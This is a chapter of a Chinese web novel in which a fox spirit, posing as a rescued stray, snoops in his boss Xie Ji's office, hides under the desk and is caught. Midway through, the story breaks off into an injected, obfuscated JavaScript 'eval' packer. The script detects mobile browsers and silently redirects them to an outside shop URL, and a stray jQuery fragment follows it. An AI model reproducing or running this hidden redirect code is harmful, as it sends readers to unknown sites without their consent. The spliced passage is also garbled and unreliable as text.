两侧员工震惊的目光在云千和谢霁之间来回穿梭。

    谢霁很是淡定,完全没有反驳,仿佛默认云千的小狗宣言。

    云千被周围人看得浑身不自在。

    哪里说错了吗?为什么大家的眼神怪怪的。

    云千不安地揉着袖口,然而人类的皮肤没有爪垫那样安心的触感。

    他的余光瞥见谢霁走来的身影。

    糟糕糟糕,打听谢霁的事可千万不能被知道。

    云千连忙说谢霁的好话:“我是谢霁捡回家的灵兽,他人可好了,是非常好心的灵兽救助者。”

    赵山朝恍然:“哦,原来是这样。”不是嫂子。

    旁人有人小声说:“那不就是流浪狗么。”

    “对啊,为什么安排到咱们公司。管理局太不会来事了吧。”

    “你懂什么呀,说不定这是今年的慈善指标呢。”

    “蔚蓝希望又不是收容所。流浪狗老老实实去救助站得了,来这儿不是添乱么。”

    云千听不懂那些人话里夹枪带棒,反而感觉说得挺对。他的假身份就是流浪狗,没想到已经深入人心,看来他演技不错。

    他不生气,有人生气。

    谢霁抬手,文件夹敲了敲玻璃门。

    “午休时间还没到。”他一一看过去,嘴角挂着笑,笑意不达眼底,“都没事做?”

    众人顿时如鸟兽散。

    赵山朝搂着云千的肩膀拍拍,宽慰道:“你别介意。有几个人是老刺头了,别理他们。”

    云千眨巴眨巴眼睛:“介意什么?”

    “没什么。”谢霁走到他身前,替赵山朝接话,“走吧,去吃午饭。”

    云千又冒问号:“不是没到午休时间?”

    狐狐很守规矩。

    谢霁只笑:“吃不吃。”

    但狐没有原则。

    云千哒哒哒跟上他,抱住他的手臂:“吃!吃什么!有肉吗?”

    谢霁一早定好午餐,一份烧鹅,一份卤猪拼盘,虾仁蛋羹,时蔬。饭菜送到他的办公室,热腾腾的。

    云千看到硕大的鹅腿时眼都直了:“好大的鸡腿!”

    谢霁摆好碗筷,闻言忍不住摸摸云千柔软的发顶:“那是烧鹅。”

    两只狐耳噗一下从头顶冒出来,软软的白毛蹭在谢霁手心里。

    云千用耳朵顶他掌心,使劲蹭蹭:“你真的买了大鹅!”

    油亮的鹅腿散发出浓郁的肉香。谢霁挤好酸梅酱,又给云千戴好手套。

    “吃吧。”谢霁说。

    云千得到许可,立刻埋头鹅腿之中。

    “好香……”云千腮帮子鼓鼓的,因为太美味而气虚,“好好吃……”

    谢霁托腮看他,偶尔抬指为他抹去颊边沾上的酱汁,问:“上班感觉怎么样?”

    云千只顾着吃饭,点点头就当回答。

    “你不喜欢,之后就不用来了。”谢霁说。

    毕竟今天无端受辱,他还以为云千会哭鼻子。

    云千瞪圆眼睛,连忙咽下食物,急忙说:“我喜欢!我喜欢在这里!”

    开玩笑!之后不来,他怎么查谢霁?

    云千试图通过拍马屁留下来:“我……我喜欢和你在一起。云千觉得你很厉害,让人很有安全感。”其实是饱腹感。

    谢霁无奈又好笑。

    这只小狐狸真的知道“我喜欢和你在一起”的真实含义吗?

    谢霁递给他一张门禁卡。

    “这是我办公室的门禁卡,我不在的时候你想休息可以自己进来。”

    云千如获至宝,赶忙收好。

    有了这个,他就可以趁谢霁外出,偷偷进来找机密。

    *

    下午谢霁又要开会,让赵山朝带着云千熟悉环境,上手工作。

    赵山朝哪敢让云千真的上工,但新业务的文件批下来了,他自己也忙得焦头烂额,实在没时间陪云千闲逛。

    云千闲得无聊,趴在桌边看赵山朝噼里啪啦打字,心里盘算着等下找什么借口悄悄离开,潜入谢霁办公室。

    赵山朝忽然在纸海里一通翻找,将一个塑料文件夹递到云千手里。

    “云千,能帮我把这份文件交给28楼市场部的主管吗?”

    云千欢快地蹦起来,抱着文件:“当然!”

    机会这不就来了吗。

    他一路蹦蹦跳跳坐电梯到28楼,踏进去才发现自己一个人也不认识,又开始紧张。

    一股刺鼻的气味钻进鼻端,云千打了个喷嚏。

    一抬头,发现身前出现一个高大的男人,面色阴沉,眼下青黑,胸前挂着工牌。

    工牌上写着他的名字:陈威。

    云千鼓起勇气,小声开口:“您好。请问你知道市场部主管在哪吗?”

    陈威一直盯着他,目光令人毛骨悚然。

    “什么事。”他说。

    云千本能地感觉到不自在,回答说:“我有文件要交给他。”

    陈威“哦”了一声:“我就是市场部的,你给我就行。”

    “谢谢。”云千一推文件夹,转身一溜烟地跑了。

    太可怕了。

    云千拍着胸口。

    这个人一定加班很严重。身上有让人不舒服的气息,怨气比鬼还大。

    他走了消防通道,偷偷摸摸上楼,避人耳目,来到谢霁办公室门口。

    四下无人,云千轻手轻脚打开办公室门。

    他记得电视剧里那些反派都会在办公室放一个保险箱,还是有秘密夹层的那种,专门用来放那些不想为人所知的私隐。

    云千开始地毯式搜索。

    纸,文件,纸,书。

    没有保险箱,没有夹层抽屉,什么都没有。

    时间一分一秒过去,他依然一无所获。

    云千失望地翻着桌面,不小心碰掉一个文件夹,纸页散落一地。

    他垂头丧气地一张张捡,突然听到门口传来脚步声。

    “要签的文件放在您桌上了。”

    “好,我现在签,你早点布置下去。”

    云千听到谢霁和他的下属对话。

    糟了!谢霁回来了。

    云千加快速度,手忙脚乱将纸张收集起来,可是已经来不及脱身,谢霁的手就握在门把手上。

    云千直冒汗,低头看向那张宽大的办公桌。

    桌洞很大、很深,他藏进去短时间不会被发现。

    云千连忙抱着纸张钻到桌洞深处。

    办公室门打开,谢霁脚步声近了。

    云千看到那双擦的发亮的皮鞋,笔直的深灰色裤腿。

    谢霁坐了下来。

    云千大气不敢出,他的手差一点点就能碰到谢霁的鞋。

    他听到桌子上哗啦哗啦的,应该是谢霁在找什么东西。

    “你进来吧。”谢霁对门口的下属说。

    谢霁问他:“你说的那套流程图在哪?”

    下属疑惑地回:“就放桌上了呀,没有吗?”

    谢霁又翻了翻,没有。

    云千低头,看到自己手里抱着一沓流程图。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906895|213048||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>眼看谢霁再找下去就要找到桌子底下了。

    云千默默地把纸递了出去。

    下属眼睁睁地看着一沓纸从桌子底下慢慢推到谢总监腿面上。

    谢霁沉默半晌。

    “要不……我……”下属看着那只白皙的手搭在谢霁膝头,葱段似的手指揪紧谢霁的裤子,大脑飞速运转,“先出去了?您签好随时喊我。”

    谢霁没来得及回话。

    云千扶着谢霁的大腿,慢慢地探出头来,脑袋就在两腿之间那个不可言喻的位置。

    下属恨不得自己此刻没有长眼睛。

    云千因为受惊,狐耳和尾巴藏不住,耳朵向两侧贴平,尾巴紧张地缠住谢霁脚踝。

    “我不是故意的……”

    尾巴缠得越来越紧,毛茸茸的尾巴尖钻到谢霁的裤腿里,非常贴合主人心思,讨好地蹭着谢霁的小腿皮肤。

    云千的心脏狂跳,生怕谢霁发现异样把他关起来拷问乃至杀掉,眼泪都快憋出来了,生硬地找借口:“我、我就是在这里打盹,我想有个窝……”

    拿A4纸做窝,在狐界也是闻所未闻。

    云千把罪过从偷东西降级到偷懒:“我再也不偷懒打盹了!”

    谢霁看着两腿间那个毛茸茸的小脑袋。

    狐耳可怜兮兮地倒下,眼睛含着雾气,马上就要泪汪汪,因为害怕,血液加速流动,脸蛋红扑扑的。

    他呼吸乱了一瞬,抬手放到云千后脑,又觉得不对,烫到似地立刻抽开手。

    “你先出来。”谢霁声音有些不自然。

    “你不会怪我吧?不要开除我。”云千声音开始打颤,距离哭出来只在一瞬间。

    谢霁赶紧开口:“不会。我不怪你,也不会开除你,快出来。”

    “你发誓。”

    “我发誓。”

    “真的?”

    “……如果是假的,我就给你买一百只鹅腿。”

    云千趴着不动。

    他正在严肃地思考,一百只鹅腿和目前这份工作哪个重要。

    谢霁趁他走神,抵着座椅向后推开,拉云千起身。

    云千摇摇晃晃俯身半起。人类肢体太差劲,蜷久了腿麻眼黑,他一个踉跄,直接坐到了谢霁大腿上。

    一旁下属闭上双眼。

    不敢睁开眼希望是他的幻觉。

    云千整个人团在谢霁怀里,狐耳贴着谢霁的脸颊,大尾巴挤在谢霁抱着他的手臂间。

    他在眩晕中嘟囔:“可是一百只鹅腿比较好。”

    谢霁低头给他整理衣服,看着那对狐耳缓缓抬起,抬手揉了揉。

    “好了,起来吧。”

    云千站起身。

    门外一阵急促的敲门声。

    “进。”谢霁说。

    赵山朝推门而入,看到室内乱成一锅粥的场面,愣了一下。

    “咋了?”他小声问那个下属。

    下属声若蚊蚋:“别说了,咱俩赶紧走吧。”

    赵山朝摇头,他可是有正事要办。

    “太好了云千,还好你在,”赵山朝上前拉过云千,“陈威说刚刚给你了市场部主管的批件,你放在哪里了?”

    云千刚从眩晕中缓过神,懵懵的。

    批件?

    “他没给我呀。”云千说。

    “可是……”赵山朝脸色一下变得很难看,“你再想想呢云千?那里面有我们接下来诉讼要用的证据原件。”

    云千听出那东西很重要。

    赵山朝急了:“你再想想,咱们边找边说。”